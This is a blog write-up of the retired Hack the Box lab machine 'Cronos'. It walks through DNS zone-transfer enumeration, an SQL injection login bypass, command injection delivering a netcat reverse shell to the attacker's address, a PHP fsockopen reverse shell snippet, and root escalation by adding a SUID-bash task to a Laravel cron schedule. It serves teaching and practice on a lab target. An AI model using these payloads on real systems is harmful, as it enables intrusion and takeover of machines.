Hack the Box Write-up #4: Cronos

19 minute read

In this post we’ll walk through the steps of getting root on the retired box “Cronos” from Hack the Box. We will discover a few subdomains by DNS enumeration and get our first shell via command injection on an admin portal suffering from SQL injection. To elevate our privileges, we will abuse a cron job set up to run as root. All in all a fun box with a lot of classic vulnerabilities.

Recon

We start with our usual nmap scan: nmap -sV -sC -oN nmap/init 10.10.10.13

Nmap scan report for 10.10.10.13
Host is up (0.035s latency).
Not shown: 997 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
|   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 80 only gives us the default Apache page, so we’ll jump right into figuring out if the DNS server can give us some more information.

DNS enumeration

Doing a reverse lookup on the server itself gives us information on the domain used:

Reverse DNS: dig -x 10.10.10.13 @10.10.10.13

;13.10.10.10.in-addr.arpa.      IN      PTR

;; ANSWER SECTION:
13.10.10.10.in-addr.arpa. 604800 IN     PTR     ns1.cronos.htb.

;; AUTHORITY SECTION:
10.10.10.in-addr.arpa.  604800  IN      NS      ns1.cronos.htb.

;; ADDITIONAL SECTION:
ns1.cronos.htb.         604800  IN      A       10.10.10.13

Let’s add ns1.cronos.htb and cronos.htb to our /etc/hosts file:

10.10.10.13 cronos.htb ns1.cronos.htb


Going to http://cronos.htb, we now see an actual page – without much content, but a lot of indicators of the PHP framework in use: Laravel.

cronos-laravel-page

Going back once more to the DNS side, we can try a classic DNS server misconfiguration: a zone transfer for anyone who asks :-)

With an axfr query, we can enumerate the entire DNS record for a zone including all subdomains of a domain. So, let’s give it a shot:

dig axfr cronos.htb @10.10.10.13

cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.             604800  IN      NS      ns1.cronos.htb.
cronos.htb.             604800  IN      A       10.10.10.13
admin.cronos.htb.       604800  IN      A       10.10.10.13
ns1.cronos.htb.         604800  IN      A       10.10.10.13
www.cronos.htb.         604800  IN      A       10.10.10.13
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800

It works! We’ve discovered www.cronos.htb and admin.cronos.htb. The latter brings us to a login form (don’t forget to add the new DNS names to your /etc/hosts file).

cronos admin login

Exploitation and first shell

The login form suffers from a classic SQL injection which gets us in after testing the username field with the very first standard payload of admin' OR 1=1 -- -.

cronos net tool

The discovered “Net Tool” gives us options to traceroute or ping an IP address. To see if the tool is legit, let’s send a ping to our address and capture it with tcpdump. I used Burp here to also have a look at the parameters that are sent to the server:

tcpdump captuing icmp traffic

Not only do we see the ICMP traffic coming in, but the parameter of command=ping+-c+1&host=10.10.14.38 looks so juicy that it basically says: “Please, attempt to hack me!”.

It looks like, we can execute any command we want as www-data just by modifying the command parameter. And as netcat is on the box (veryfied via command=which+netcat), we can get a reverse shell like so:

command=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.38+80+>/tmp/f+%23&host=10.10.14.38

Which decodes to:

command=rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>&1|nc+10.10.14.38+80+>/tmp/f #&host=10.10.14.38

(Listen on the attacker machine with nc -lvnp 80).

The netcat version on the box doesn’t support the --exec flag, which forces us to do it this way with a named pipe. You can find multiple other reverse shell one-liners in this cheatsheet at pentestmonkey.net. Try other ones - this box has lots of opportunities to use something else.

Getting root

With our low-priv shell we can start enumeration. Either by running a script like LinEnum.sh or by looking around manually. I usually check a few locations manually first. Either way, what we will find is:

$ cat /etc/crontab

# /etc/crontab: system-wide crontab
[...]
* * * * *       root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

A cronjob running as root and executing a file that we (www-data) own:

$ ls -l /var/www/laravel/artisan
-rwxr-xr-x 1 www-data www-data 1646 Apr  9  2017 /var/www/laravel/artisan

Artisan is a command-line tool that comes with the PHP Laravel framework. While we could just add our own content to the file to open another reverse shell (e.g. fsockopen("10.10.14.38",1234); exec("/bin/sh -i <&3 >&3 2>&3");), let’s see if we can do it in a nicer way without nuking artisan away.

On laravel.com/docs/5.8/scheduling, we can read:

When using the scheduler, only a single Cron entry is needed on your server. Your task schedule is defined in the app/Console/Kernel.php file’s schedule method.

We can locate the file here: /var/www/laravel/app/Console/Kernel.php.

Since we want an easy way to get a root shell, let’s just make a temporary copy of bash (as root) and give it the SUID bit.

We add the following code to Kernel.php

protected function schedule(Schedule $schedule)
{
    $cmd = 'cp $(which bash) /tmp/sbash; chmod +s /tmp/sbash';
    $schedule->exec($cmd)->everyMinute();
}

…then wait a minute for the cron and eventually execute ./sbash -p from /tmp.

Now we’re root:

sbash-4.3# id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)

In case, you’re wondering why we need the -p flag for bash, check out the man page for bash, where it says: If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, […] the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.

Cheers!


I hope you’ve enjoyed this write-up. If you have any questions, did it another way or have something else to say, feel free to leave a comment. I’m always happy to learn new things. You can also check out the other write-ups.

Like to comment? Feel free to send me an email or reach out on Twitter.

Did this or another article help you? If you like and can afford it, you can buy me a coffee (3 EUR) ☕️ to support me in writing more posts. In case you would like to contribute more or I helped you directly via email or coding/troubleshooting session, you can opt to give a higher amount through the following links or adjust the quantity: 50 EUR, 100 EUR, 500 EUR. All links redirect to Stripe.